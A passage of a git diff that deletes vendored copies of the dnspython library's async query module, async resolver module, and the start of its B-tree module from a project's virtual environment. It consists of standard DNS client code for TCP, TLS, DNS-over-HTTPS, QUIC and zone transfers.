query via TCP. - - *sock*, a ``dns.asyncbacket.StreamSocket``, or ``None``, the - socket to use for the query. If ``None``, the default, a socket - is created. Note that if a socket is provided - *where*, *port*, *source*, *source_port*, and *backend* are ignored. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.query.tcp()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - - wire = q.to_wire() - (begin_time, expiration) = _compute_times(timeout) - if sock: - # Verify that the socket is connected, as if it's not connected, - # it's not writable, and the polling in send_tcp() will time out or - # hang forever. - await sock.getpeername() - cm: contextlib.AbstractAsyncContextManager = NullContext(sock) - else: - # These are simple (address, port) pairs, not family-dependent tuples - # you pass to low-level socket code. - af = dns.inet.af_for_address(where) - stuple = _source_tuple(af, source, source_port) - dtuple = (where, port) - if not backend: - backend = dns.asyncbackend.get_default_backend() - cm = await backend.make_socket( - af, socket.SOCK_STREAM, 0, stuple, dtuple, timeout - ) - async with cm as s: - await send_tcp(s, wire, expiration) # pyright: ignore - (r, received_time) = await receive_tcp( - s, # pyright: ignore - expiration, - one_rr_per_rrset, - q.keyring, - q.mac, - ignore_trailing, - ) - r.time = received_time - begin_time - if not q.is_response(r): - raise BadResponse - return r - - -async def tls( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 853, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - sock: dns.asyncbackend.StreamSocket | None = None, - backend: dns.asyncbackend.Backend | None = None, - ssl_context: ssl.SSLContext | None = None, - server_hostname: str | None = None, - verify: bool | str = True, -) -> dns.message.Message: - """Return the response obtained after sending a query via TLS. - - *sock*, an ``asyncbackend.StreamSocket``, or ``None``, the socket - to use for the query. If ``None``, the default, a socket is - created. Note that if a socket is provided, it must be a - connected SSL stream socket, and *where*, *port*, - *source*, *source_port*, *backend*, *ssl_context*, and *server_hostname* - are ignored. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.query.tls()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - (begin_time, expiration) = _compute_times(timeout) - if sock: - cm: contextlib.AbstractAsyncContextManager = NullContext(sock) - else: - if ssl_context is None: - ssl_context = make_ssl_context(verify, server_hostname is not None, ["dot"]) - af = dns.inet.af_for_address(where) - stuple = _source_tuple(af, source, source_port) - dtuple = (where, port) - if not backend: - backend = dns.asyncbackend.get_default_backend() - cm = await backend.make_socket( - af, - socket.SOCK_STREAM, - 0, - stuple, - dtuple, - timeout, - ssl_context, - server_hostname, - ) - async with cm as s: - timeout = _timeout(expiration) - response = await tcp( - q, - where, - timeout, - port, - source, - source_port, - one_rr_per_rrset, - ignore_trailing, - s, - backend, - ) - end_time = time.time() - response.time = end_time - begin_time - return response - - -def _maybe_get_resolver( - resolver: Optional["dns.asyncresolver.Resolver"], # pyright: ignore -) -> "dns.asyncresolver.Resolver": # pyright: ignore - # We need a separate method for this to avoid overriding the global - # variable "dns" with the as-yet undefined local variable "dns" - # in https(). - if resolver is None: - # pylint: disable=import-outside-toplevel,redefined-outer-name - import dns.asyncresolver - - resolver = dns.asyncresolver.Resolver() - return resolver - - -async def https( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 443, - source: str | None = None, - source_port: int = 0, # pylint: disable=W0613 - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - client: Optional["httpx.AsyncClient|dns.quic.AsyncQuicConnection"] = None, - path: str = "/dns-query", - post: bool = True, - verify: bool | str | ssl.SSLContext = True, - bootstrap_address: str | None = None, - resolver: Optional["dns.asyncresolver.Resolver"] = None, # pyright: ignore - family: int = socket.AF_UNSPEC, - http_version: HTTPVersion = HTTPVersion.DEFAULT, -) -> dns.message.Message: - """Return the response obtained after sending a query via DNS-over-HTTPS. - - *client*, a ``httpx.AsyncClient``. If provided, the client to use for - the query. - - Unlike the other dnspython async functions, a backend cannot be provided - in this function because httpx always auto-detects the async backend. - - See :py:func:`dns.query.https()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - - try: - af = dns.inet.af_for_address(where) - except ValueError: - af = None - # we bind url and then override as pyright can't figure out all paths bind. - url = where - if af is not None and dns.inet.is_address(where): - if af == socket.AF_INET: - url = f"https://{where}:{port}{path}" - elif af == socket.AF_INET6: - url = f"https://[{where}]:{port}{path}" - - extensions = {} - if bootstrap_address is None: - # pylint: disable=possibly-used-before-assignment - parsed = urllib.parse.urlparse(url) - if parsed.hostname is None: - raise ValueError("no hostname in URL") - if dns.inet.is_address(parsed.hostname): - bootstrap_address = parsed.hostname - extensions["sni_hostname"] = parsed.hostname - if parsed.port is not None: - port = parsed.port - - if http_version == HTTPVersion.H3 or ( - http_version == HTTPVersion.DEFAULT and not have_doh - ): - if bootstrap_address is None: - resolver = _maybe_get_resolver(resolver) - assert parsed.hostname is not None # pyright: ignore - answers = await resolver.resolve_name( # pyright: ignore - parsed.hostname, family # pyright: ignore - ) - bootstrap_address = random.choice(list(answers.addresses())) - if client and not isinstance( - client, dns.quic.AsyncQuicConnection - ): # pyright: ignore - raise ValueError("client parameter must be a dns.quic.AsyncQuicConnection.") - assert client is None or isinstance(client, dns.quic.AsyncQuicConnection) - return await _http3( - q, - bootstrap_address, - url, - timeout, - port, - source, - source_port, - one_rr_per_rrset, - ignore_trailing, - verify=verify, - post=post, - connection=client, - ) - - if not have_doh: - raise NoDOH # pragma: no cover - # pylint: disable=possibly-used-before-assignment - if client and not isinstance(client, httpx.AsyncClient): # pyright: ignore - raise ValueError("client parameter must be an httpx.AsyncClient") - # pylint: enable=possibly-used-before-assignment - - wire = q.to_wire() - headers = {"accept": "application/dns-message"} - - h1 = http_version in (HTTPVersion.H1, HTTPVersion.DEFAULT) - h2 = http_version in (HTTPVersion.H2, HTTPVersion.DEFAULT) - - backend = dns.asyncbackend.get_default_backend() - - if source is None: - local_address = None - local_port = 0 - else: - local_address = source - local_port = source_port - - if client: - cm: contextlib.AbstractAsyncContextManager = NullContext(client) - else: - transport = backend.get_transport_class()( - local_address=local_address, - http1=h1, - http2=h2, - verify=verify, - local_port=local_port, - bootstrap_address=bootstrap_address, - resolver=resolver, - family=family, - ) - - cm = httpx.AsyncClient( # pyright: ignore - http1=h1, http2=h2, verify=verify, transport=transport # type: ignore - ) - - async with cm as the_client: - # see https://tools.ietf.org/html/rfc8484#section-4.1.1 for DoH - # GET and POST examples - if post: - headers.update( - { - "content-type": "application/dns-message", - "content-length": str(len(wire)), - } - ) - response = await backend.wait_for( - the_client.post( # pyright: ignore - url, - headers=headers, - content=wire, - extensions=extensions, - ), - timeout, - ) - else: - wire = base64.urlsafe_b64encode(wire).rstrip(b"=") - twire = wire.decode() # httpx does a repr() if we give it bytes - response = await backend.wait_for( - the_client.get( # pyright: ignore - url, - headers=headers, - params={"dns": twire}, - extensions=extensions, - ), - timeout, - ) - - # see https://tools.ietf.org/html/rfc8484#section-4.2.1 for info about DoH - # status codes - if response.status_code < 200 or response.status_code > 299: - raise ValueError( - f"{where} responded with status code {response.status_code}" - f"\nResponse body: {response.content!r}" - ) - r = dns.message.from_wire( - response.content, - keyring=q.keyring, - request_mac=q.request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - r.time = response.elapsed.total_seconds() - if not q.is_response(r): - raise BadResponse - return r - - -async def _http3( - q: dns.message.Message, - where: str, - url: str, - timeout: float | None = None, - port: int = 443, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - verify: bool | str | ssl.SSLContext = True, - backend: dns.asyncbackend.Backend | None = None, - post: bool = True, - connection: dns.quic.AsyncQuicConnection | None = None, -) -> dns.message.Message: - if not dns.quic.have_quic: - raise NoDOH("DNS-over-HTTP3 is not available.") # pragma: no cover - - url_parts = urllib.parse.urlparse(url) - hostname = url_parts.hostname - assert hostname is not None - if url_parts.port is not None: - port = url_parts.port - - q.id = 0 - wire = q.to_wire() - the_connection: dns.quic.AsyncQuicConnection - if connection: - cfactory = dns.quic.null_factory - mfactory = dns.quic.null_factory - else: - (cfactory, mfactory) = dns.quic.factories_for_backend(backend) - - async with cfactory() as context: - async with mfactory( - context, verify_mode=verify, server_name=hostname, h3=True - ) as the_manager: - if connection: - the_connection = connection - else: - the_connection = the_manager.connect( # pyright: ignore - where, port, source, source_port - ) - (start, expiration) = _compute_times(timeout) - stream = await the_connection.make_stream(timeout) # pyright: ignore - async with stream: - # note that send_h3() does not need await - stream.send_h3(url, wire, post) - wire = await stream.receive(_remaining(expiration)) - _check_status(stream.headers(), where, wire) - finish = time.time() - r = dns.message.from_wire( - wire, - keyring=q.keyring, - request_mac=q.request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - r.time = max(finish - start, 0.0) - if not q.is_response(r): - raise BadResponse - return r - - -async def quic( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 853, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - connection: dns.quic.AsyncQuicConnection | None = None, - verify: bool | str = True, - backend: dns.asyncbackend.Backend | None = None, - hostname: str | None = None, - server_hostname: str | None = None, -) -> dns.message.Message: - """Return the response obtained after sending an asynchronous query via - DNS-over-QUIC. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.query.quic()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - - if not dns.quic.have_quic: - raise NoDOQ("DNS-over-QUIC is not available.") # pragma: no cover - - if server_hostname is not None and hostname is None: - hostname = server_hostname - - q.id = 0 - wire = q.to_wire() - the_connection: dns.quic.AsyncQuicConnection - if connection: - cfactory = dns.quic.null_factory - mfactory = dns.quic.null_factory - the_connection = connection - else: - (cfactory, mfactory) = dns.quic.factories_for_backend(backend) - - async with cfactory() as context: - async with mfactory( - context, - verify_mode=verify, - server_name=server_hostname, - ) as the_manager: - if not connection: - the_connection = the_manager.connect( # pyright: ignore - where, port, source, source_port - ) - (start, expiration) = _compute_times(timeout) - stream = await the_connection.make_stream(timeout) # pyright: ignore - async with stream: - await stream.send(wire, True) - wire = await stream.receive(_remaining(expiration)) - finish = time.time() - r = dns.message.from_wire( - wire, - keyring=q.keyring, - request_mac=q.request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - r.time = max(finish - start, 0.0) - if not q.is_response(r): - raise BadResponse - return r - - -async def _inbound_xfr( - txn_manager: dns.transaction.TransactionManager, - s: dns.asyncbackend.Socket, - query: dns.message.Message, - serial: int | None, - timeout: float | None, - expiration: float, -) -> Any: - """Given a socket, does the zone transfer.""" - rdtype = query.question[0].rdtype - is_ixfr = rdtype == dns.rdatatype.IXFR - origin = txn_manager.from_wire_origin() - wire = query.to_wire() - is_udp = s.type == socket.SOCK_DGRAM - if is_udp: - udp_sock = cast(dns.asyncbackend.DatagramSocket, s) - await udp_sock.sendto(wire, None, _timeout(expiration)) - else: - tcp_sock = cast(dns.asyncbackend.StreamSocket, s) - tcpmsg = struct.pack("!H", len(wire)) + wire - await tcp_sock.sendall(tcpmsg, expiration) - with dns.xfr.Inbound(txn_manager, rdtype, serial, is_udp) as inbound: - done = False - tsig_ctx = None - r: dns.message.Message | None = None - while not done: - (_, mexpiration) = _compute_times(timeout) - if mexpiration is None or ( - expiration is not None and mexpiration > expiration - ): - mexpiration = expiration - if is_udp: - timeout = _timeout(mexpiration) - (rwire, _) = await udp_sock.recvfrom(65535, timeout) # pyright: ignore - else: - ldata = await _read_exactly(tcp_sock, 2, mexpiration) # pyright: ignore - (l,) = struct.unpack("!H", ldata) - rwire = await _read_exactly(tcp_sock, l, mexpiration) # pyright: ignore - r = dns.message.from_wire( - rwire, - keyring=query.keyring, - request_mac=query.mac, - xfr=True, - origin=origin, - tsig_ctx=tsig_ctx, - multi=(not is_udp), - one_rr_per_rrset=is_ixfr, - ) - done = inbound.process_message(r) - yield r - tsig_ctx = r.tsig_ctx - if query.keyring and r is not None and not r.had_tsig: - raise dns.exception.FormError("missing TSIG") - - -async def inbound_xfr( - where: str, - txn_manager: dns.transaction.TransactionManager, - query: dns.message.Message | None = None, - port: int = 53, - timeout: float | None = None, - lifetime: float | None = None, - source: str | None = None, - source_port: int = 0, - udp_mode: UDPMode = UDPMode.NEVER, - backend: dns.asyncbackend.Backend | None = None, -) -> None: - """Conduct an inbound transfer and apply it via a transaction from the - txn_manager. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.query.inbound_xfr()` for the documentation of - the other parameters, exceptions, and return type of this method. - """ - if query is None: - (query, serial) = dns.xfr.make_query(txn_manager) - else: - serial = dns.xfr.extract_serial_from_query(query) - af = dns.inet.af_for_address(where) - stuple = _source_tuple(af, source, source_port) - dtuple = (where, port) - if not backend: - backend = dns.asyncbackend.get_default_backend() - (_, expiration) = _compute_times(lifetime) - if query.question[0].rdtype == dns.rdatatype.IXFR and udp_mode != UDPMode.NEVER: - s = await backend.make_socket( - af, socket.SOCK_DGRAM, 0, stuple, dtuple, _timeout(expiration) - ) - async with s: - try: - async for _ in _inbound_xfr( # pyright: ignore - txn_manager, - s, - query, - serial, - timeout, - expiration, # pyright: ignore - ): - pass - return - except dns.xfr.UseTCP: - if udp_mode == UDPMode.ONLY: - raise - - s = await backend.make_socket( - af, socket.SOCK_STREAM, 0, stuple, dtuple, _timeout(expiration) - ) - async with s: - async for _ in _inbound_xfr( # pyright: ignore - txn_manager, s, query, serial, timeout, expiration # pyright: ignore - ): - pass diff --git a/venv/Lib/site-packages/dns/asyncresolver.py b/venv/Lib/site-packages/dns/asyncresolver.py deleted file mode 100644 index 6f8c69fd3fe6a5fbbf9f9060a0f0459bb477ace5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/asyncresolver.py +++ /dev/null @@ -1,478 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Asynchronous DNS stub resolver.""" - -import socket -import time -from typing import Any, Dict, List - -import dns._ddr -import dns.asyncbackend -import dns.asyncquery -import dns.exception -import dns.inet -import dns.name -import dns.nameserver -import dns.query -import dns.rdataclass -import dns.rdatatype -import dns.resolver # lgtm[py/import-and-import-from] -import dns.reversename - -# import some resolver symbols for brevity -from dns.resolver import NXDOMAIN, NoAnswer, NoRootSOA, NotAbsolute - -# for indentation purposes below -_udp = dns.asyncquery.udp -_tcp = dns.asyncquery.tcp - - -class Resolver(dns.resolver.BaseResolver): - """Asynchronous DNS stub resolver.""" - - async def resolve( - self, - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - search: bool | None = None, - backend: dns.asyncbackend.Backend | None = None, - ) -> dns.resolver.Answer: - """Query nameservers asynchronously to find the answer to the question. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.resolver.Resolver.resolve()` for the - documentation of the other parameters, exceptions, and return - type of this method. - """ - - resolution = dns.resolver._Resolution( - self, qname, rdtype, rdclass, tcp, raise_on_no_answer, search - ) - if not backend: - backend = dns.asyncbackend.get_default_backend() - start = time.time() - while True: - (request, answer) = resolution.next_request() - # Note we need to say "if answer is not None" and not just - # "if answer" because answer implements __len__, and python - # will call that. We want to return if we have an answer - # object, including in cases where its length is 0. - if answer is not None: - # cache hit! - return answer - assert request is not None # needed for type checking - done = False - while not done: - (nameserver, tcp, backoff) = resolution.next_nameserver() - if backoff: - await backend.sleep(backoff) - timeout = self._compute_timeout(start, lifetime, resolution.errors) - try: - response = await nameserver.async_query( - request, - timeout=timeout, - source=source, - source_port=source_port, - max_size=tcp, - backend=backend, - ) - except Exception as ex: - (_, done) = resolution.query_result(None, ex) - continue - (answer, done) = resolution.query_result(response, None) - # Note we need to say "if answer is not None" and not just - # "if answer" because answer implements __len__, and python - # will call that. We want to return if we have an answer - # object, including in cases where its length is 0. - if answer is not None: - return answer - - async def resolve_address( - self, ipaddr: str, *args: Any, **kwargs: Any - ) -> dns.resolver.Answer: - """Use an asynchronous resolver to run a reverse query for PTR - records. - - This utilizes the resolve() method to perform a PTR lookup on the - specified IP address. - - *ipaddr*, a ``str``, the IPv4 or IPv6 address you want to get - the PTR record for. - - All other arguments that can be passed to the resolve() function - except for rdtype and rdclass are also supported by this - function. - - """ - # We make a modified kwargs for type checking happiness, as otherwise - # we get a legit warning about possibly having rdtype and rdclass - # in the kwargs more than once. - modified_kwargs: Dict[str, Any] = {} - modified_kwargs.update(kwargs) - modified_kwargs["rdtype"] = dns.rdatatype.PTR - modified_kwargs["rdclass"] = dns.rdataclass.IN - return await self.resolve( - dns.reversename.from_address(ipaddr), *args, **modified_kwargs - ) - - async def resolve_name( - self, - name: dns.name.Name | str, - family: int = socket.AF_UNSPEC, - **kwargs: Any, - ) -> dns.resolver.HostAnswers: - """Use an asynchronous resolver to query for address records. - - This utilizes the resolve() method to perform A and/or AAAA lookups on - the specified name. - - *qname*, a ``dns.name.Name`` or ``str``, the name to resolve. - - *family*, an ``int``, the address family. If socket.AF_UNSPEC - (the default), both A and AAAA records will be retrieved. - - All other arguments that can be passed to the resolve() function - except for rdtype and rdclass are also supported by this - function. - """ - # We make a modified kwargs for type checking happiness, as otherwise - # we get a legit warning about possibly having rdtype and rdclass - # in the kwargs more than once. - modified_kwargs: Dict[str, Any] = {} - modified_kwargs.update(kwargs) - modified_kwargs.pop("rdtype", None) - modified_kwargs["rdclass"] = dns.rdataclass.IN - - if family == socket.AF_INET: - v4 = await self.resolve(name, dns.rdatatype.A, **modified_kwargs) - return dns.resolver.HostAnswers.make(v4=v4) - elif family == socket.AF_INET6: - v6 = await self.resolve(name, dns.rdatatype.AAAA, **modified_kwargs) - return dns.resolver.HostAnswers.make(v6=v6) - elif family != socket.AF_UNSPEC: - raise NotImplementedError(f"unknown address family {family}") - - raise_on_no_answer = modified_kwargs.pop("raise_on_no_answer", True) - lifetime = modified_kwargs.pop("lifetime", None) - start = time.time() - v6 = await self.resolve( - name, - dns.rdatatype.AAAA, - raise_on_no_answer=False, - lifetime=self._compute_timeout(start, lifetime), - **modified_kwargs, - ) - # Note that setting name ensures we query the same name - # for A as we did for AAAA. (This is just in case search lists - # are active by default in the resolver configuration and - # we might be talking to a server that says NXDOMAIN when it - # wants to say NOERROR no data. - name = v6.qname - v4 = await self.resolve( - name, - dns.rdatatype.A, - raise_on_no_answer=False, - lifetime=self._compute_timeout(start, lifetime), - **modified_kwargs, - ) - answers = dns.resolver.HostAnswers.make( - v6=v6, v4=v4, add_empty=not raise_on_no_answer - ) - if not answers: - raise NoAnswer(response=v6.response) - return answers - - # pylint: disable=redefined-outer-name - - async def canonical_name(self, name: dns.name.Name | str) -> dns.name.Name: - """Determine the canonical name of *name*. - - The canonical name is the name the resolver uses for queries - after all CNAME and DNAME renamings have been applied. - - *name*, a ``dns.name.Name`` or ``str``, the query name. - - This method can raise any exception that ``resolve()`` can - raise, other than ``dns.resolver.NoAnswer`` and - ``dns.resolver.NXDOMAIN``. - - Returns a ``dns.name.Name``. - """ - try: - answer = await self.resolve(name, raise_on_no_answer=False) - canonical_name = answer.canonical_name - except dns.resolver.NXDOMAIN as e: - canonical_name = e.canonical_name - return canonical_name - - async def try_ddr(self, lifetime: float = 5.0) -> None: - """Try to update the resolver's nameservers using Discovery of Designated - Resolvers (DDR). If successful, the resolver will subsequently use - DNS-over-HTTPS or DNS-over-TLS for future queries. - - *lifetime*, a float, is the maximum time to spend attempting DDR. The default - is 5 seconds. - - If the SVCB query is successful and results in a non-empty list of nameservers, - then the resolver's nameservers are set to the returned servers in priority - order. - - The current implementation does not use any address hints from the SVCB record, - nor does it resolve addresses for the SCVB target name, rather it assumes that - the bootstrap nameserver will always be one of the addresses and uses it. - A future revision to the code may offer fuller support. The code verifies that - the bootstrap nameserver is in the Subject Alternative Name field of the - TLS certficate. - """ - try: - expiration = time.time() + lifetime - answer = await self.resolve( - dns._ddr._local_resolver_name, "svcb", lifetime=lifetime - ) - timeout = dns.query._remaining(expiration) - nameservers = await dns._ddr._get_nameservers_async(answer, timeout) - if len(nameservers) > 0: - self.nameservers = nameservers - except Exception: - pass - - -default_resolver = None - - -def get_default_resolver() -> Resolver: - """Get the default asynchronous resolver, initializing it if necessary.""" - if default_resolver is None: - reset_default_resolver() - assert default_resolver is not None - return default_resolver - - -def reset_default_resolver() -> None: - """Re-initialize default asynchronous resolver. - - Note that the resolver configuration (i.e. /etc/resolv.conf on UNIX - systems) will be re-read immediately. - """ - - global default_resolver - default_resolver = Resolver() - - -async def resolve( - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - search: bool | None = None, - backend: dns.asyncbackend.Backend | None = None, -) -> dns.resolver.Answer: - """Query nameservers asynchronously to find the answer to the question. - - This is a convenience function that uses the default resolver - object to make the query. - - See :py:func:`dns.asyncresolver.Resolver.resolve` for more - information on the parameters. - """ - - return await get_default_resolver().resolve( - qname, - rdtype, - rdclass, - tcp, - source, - raise_on_no_answer, - source_port, - lifetime, - search, - backend, - ) - - -async def resolve_address( - ipaddr: str, *args: Any, **kwargs: Any -) -> dns.resolver.Answer: - """Use a resolver to run a reverse query for PTR records. - - See :py:func:`dns.asyncresolver.Resolver.resolve_address` for more - information on the parameters. - """ - - return await get_default_resolver().resolve_address(ipaddr, *args, **kwargs) - - -async def resolve_name( - name: dns.name.Name | str, family: int = socket.AF_UNSPEC, **kwargs: Any -) -> dns.resolver.HostAnswers: - """Use a resolver to asynchronously query for address records. - - See :py:func:`dns.asyncresolver.Resolver.resolve_name` for more - information on the parameters. - """ - - return await get_default_resolver().resolve_name(name, family, **kwargs) - - -async def canonical_name(name: dns.name.Name | str) -> dns.name.Name: - """Determine the canonical name of *name*. - - See :py:func:`dns.resolver.Resolver.canonical_name` for more - information on the parameters and possible exceptions. - """ - - return await get_default_resolver().canonical_name(name) - - -async def try_ddr(timeout: float = 5.0) -> None: - """Try to update the default resolver's nameservers using Discovery of Designated - Resolvers (DDR). If successful, the resolver will subsequently use - DNS-over-HTTPS or DNS-over-TLS for future queries. - - See :py:func:`dns.resolver.Resolver.try_ddr` for more information. - """ - return await get_default_resolver().try_ddr(timeout) - - -async def zone_for_name( - name: dns.name.Name | str, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - tcp: bool = False, - resolver: Resolver | None = None, - backend: dns.asyncbackend.Backend | None = None, -) -> dns.name.Name: - """Find the name of the zone which contains the specified name. - - See :py:func:`dns.resolver.Resolver.zone_for_name` for more - information on the parameters and possible exceptions. - """ - - if isinstance(name, str): - name = dns.name.from_text(name, dns.name.root) - if resolver is None: - resolver = get_default_resolver() - if not name.is_absolute(): - raise NotAbsolute(name) - while True: - try: - answer = await resolver.resolve( - name, dns.rdatatype.SOA, rdclass, tcp, backend=backend - ) - assert answer.rrset is not None - if answer.rrset.name == name: - return name - # otherwise we were CNAMEd or DNAMEd and need to look higher - except (NXDOMAIN, NoAnswer): - pass - try: - name = name.parent() - except dns.name.NoParent: # pragma: no cover - raise NoRootSOA - - -async def make_resolver_at( - where: dns.name.Name | str, - port: int = 53, - family: int = socket.AF_UNSPEC, - resolver: Resolver | None = None, -) -> Resolver: - """Make a stub resolver using the specified destination as the full resolver. - - *where*, a ``dns.name.Name`` or ``str`` the domain name or IP address of the - full resolver. - - *port*, an ``int``, the port to use. If not specified, the default is 53. - - *family*, an ``int``, the address family to use. This parameter is used if - *where* is not an address. The default is ``socket.AF_UNSPEC`` in which case - the first address returned by ``resolve_name()`` will be used, otherwise the - first address of the specified family will be used. - - *resolver*, a ``dns.asyncresolver.Resolver`` or ``None``, the resolver to use for - resolution of hostnames. If not specified, the default resolver will be used. - - Returns a ``dns.resolver.Resolver`` or raises an exception. - """ - if resolver is None: - resolver = get_default_resolver() - nameservers: List[str | dns.nameserver.Nameserver] = [] - if isinstance(where, str) and dns.inet.is_address(where): - nameservers.append(dns.nameserver.Do53Nameserver(where, port)) - else: - answers = await resolver.resolve_name(where, family) - for address in answers.addresses(): - nameservers.append(dns.nameserver.Do53Nameserver(address, port)) - res = Resolver(configure=False) - res.nameservers = nameservers - return res - - -async def resolve_at( - where: dns.name.Name | str, - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - search: bool | None = None, - backend: dns.asyncbackend.Backend | None = None, - port: int = 53, - family: int = socket.AF_UNSPEC, - resolver: Resolver | None = None, -) -> dns.resolver.Answer: - """Query nameservers to find the answer to the question. - - This is a convenience function that calls ``dns.asyncresolver.make_resolver_at()`` - to make a resolver, and then uses it to resolve the query. - - See ``dns.asyncresolver.Resolver.resolve`` for more information on the resolution - parameters, and ``dns.asyncresolver.make_resolver_at`` for information about the - resolver parameters *where*, *port*, *family*, and *resolver*. - - If making more than one query, it is more efficient to call - ``dns.asyncresolver.make_resolver_at()`` and then use that resolver for the queries - instead of calling ``resolve_at()`` multiple times. - """ - res = await make_resolver_at(where, port, family, resolver) - return await res.resolve( - qname, - rdtype, - rdclass, - tcp, - source, - raise_on_no_answer, - source_port, - lifetime, - search, - backend, - ) diff --git a/venv/Lib/site-packages/dns/btree.py b/venv/Lib/site-packages/dns/btree.py deleted file mode 100644 index 12da9f56e9a5130f5030e8a54464a3fc7f9f904b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/btree.py +++ /dev/null @@ -1,850 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -""" -A BTree in the style of Cormen, Leiserson, and Rivest's "Algorithms" book, with -copy-on-write node updates, cursors, and optional space optimization for mostly-in-order -insertion. -""" - -from collections.abc import MutableMapping, MutableSet -from typing import Any, Callable, Generic, Optional, Tuple, TypeVar, cast - -DEFAULT_T = 127 - -KT = TypeVar("KT") # the type of a key in Element - - -class Element(Generic[KT]): - """All items stored in the BTree are Elements.""" - - def key(self) -> KT: - """The key for this element; the returned type must implement comparison.""" - raise NotImplementedError # pragma: no cover - - -ET = TypeVar("ET", bound=Element) # the type of a value in a _KV - - -def _MIN(t: int) -> int: - """The minimum number of keys in a non-root node for a BTree with the specified - ``t`` - """ - return t - 1 - - -def _MAX(t: int) -> int: - """The maximum number of keys in node for a BTree with the specified ``t``""" - return 2 * t - 1 - - -class _Creator: - """A _Creator class instance is used as a unique id for the BTree which created - a node. - - We use a dedicated creator rather than just a BTree reference to avoid circularity - that would complicate GC. - """ - - def __str__(self): # pragma: no cover - return f"{id(self):x}" - - -class _Node(Generic[KT, ET]): - """A Node in the BTree. - - A Node (leaf or internal) of the BTree. - """ - - __slots__ = ["t", "creator", "is_leaf", "elts", "children"] - - def __init__(self, t: int, creator: _Creator, is_leaf: bool): - assert t >= 3 - self.t = t - self.creator = creator - self.is_leaf = is_leaf - self.elts: list[ET] = [] - self.children: list[_Node[KT, ET]] = [] - - def is_maximal(self) -> bool: - """Does this node have the maximal number of keys?""" - assert len(self.elts) <= _MAX(self.t) - return len(self.elts) == _MAX(self.t) - - def is_minimal(self) -> bool: - """Does this node have the minimal number of keys?""" - assert len(self.elts) >= _MIN(self.t) - return len(self.elts) == _MIN(self.t) - - def search_in_node(self, key: KT) -> tuple[int, bool]: - """Get the index of the ``Element`` matching ``key`` or the index of its - least successor. - - Returns a tuple of the index and an ``equal`` boolean that is ``True`` iff. - the key was found. - """ - l = len(self.elts) - if l > 0 and key > self.elts[l - 1].key(): - # This is optimizing near in-order insertion. - return l, False - l = 0 - i = len(self.elts) - r = i - 1 - equal = False - while l <= r: - m = (l + r) // 2 - k = self.elts[m].key() - if key == k: - i = m - equal = True - break - elif key < k: - i = m - r = m - 1 - else: - l = m + 1 - return i, equal - - def maybe_cow_child(self, index: int) -> "_Node[KT, ET]": - assert not self.is_leaf - child = self.children[index] - cloned = child.maybe_cow(self.creator) - if cloned: - self.children[index] = cloned - return cloned - else: - return child - - def _get_node(self, key: KT) -> Tuple[Optional["_Node[KT, ET]"], int]: - """Get the node associated with key and its index, doing - copy-on-write if we have to descend. - - Returns a tuple of the node and the index, or the tuple ``(None, 0)`` - if the key was not found. - """ - i, equal = self.search_in_node(key) - if equal: - return (self, i) - 